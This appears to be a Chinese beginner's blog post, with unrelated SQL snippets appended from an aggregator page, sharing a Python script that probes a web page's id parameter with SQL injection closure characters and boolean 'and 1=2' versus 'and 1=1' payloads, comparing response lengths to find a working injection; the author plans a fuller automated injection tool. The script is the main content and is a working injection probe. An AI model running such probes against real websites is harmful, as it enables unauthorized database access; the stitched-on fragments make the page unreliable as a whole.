頭一天開始學python,在w3c上看了整整一天,第二天就開始對著乙個成品的指令碼嘗試著敲了乙個小指令碼用來跑閉合的,和老師一起發現了幾個關於python裡urllib.request模組額問題
**一直就敲的不是很好,勿噴
上原始碼
import urllib.requesturl = ""
url_bihe = "" #被攻擊網頁的url
def findbihe():
bihe = ['', '%27', '%22', ')', '%27)', '%22)', '))', '%27))', '%22))']
for i in bihe:
url_bihe2=url_bihe+"?id=1"+i+"%20and%201=2--+"
res=urllib.request.urlopen(url_bihe2)
length = len(res.read()) #長度一樣不解碼以提高程式效率
url_bihe1=url_bihe+"?id=1"+i+"and%201=1--+"
res1=urllib.request.urlopen(url_bihe1)
length1 = len(res1.read())
if(length1 != length):
print('該網頁sql注入閉合是'+i)
return i
break
print('匹配失敗')
測試環境python自帶idle
需要注意的是,
urllib.request.urlopen函式所接受的url對格式有著嚴格的要求,必須把在內的所有空格改為url編碼的%20,所測試閉合也要改為相應的編碼格式,不然程式會報錯
之前就是卡在url這一步,很絕望,所有思路都寫好就是報錯,十分絕望,看到這篇部落格的朋友可以少走點彎路
這裡把這個功能新增為乙個函式,準備日後找些碎片時間寫乙個整合的自動化注入指令碼
就當對sql注入更好地理解了吧
乙個防止SQL注入的函式
在網上搜尋了半天,搜出來的 不是檢測到sql關鍵字提示使用者改就是直接替換sql關鍵字,而且有很多 還沒有注意到關鍵字大小寫問題。所以 多少有寫缺陷和不完美。後來自己想到將所有 編碼成utf8或其他編碼,現實的時候再解碼,但是這樣的處理量十分大。可用程度不高。後來忽然想到網頁顯示的時候常常將空格用 ...
關於乙個sql的寫法
需求是這樣的 有個學生表 create table student id int primary key,name varchar2 200 有個成績表 create table score id int 對應與student 的 id 僅為測試,表結構也沒好好設計 math int,eng int...
乙個 關於 case when的SQL
例 從stud grade表中查詢所有同學考試成績情況,凡成績為空者輸出 未考 小於60分輸出 不及格 60分至70分輸出 及格 70分至90分輸出 良好 大於或等於90分時輸出 優秀 select stud id,name,score case when grade is null then 未考...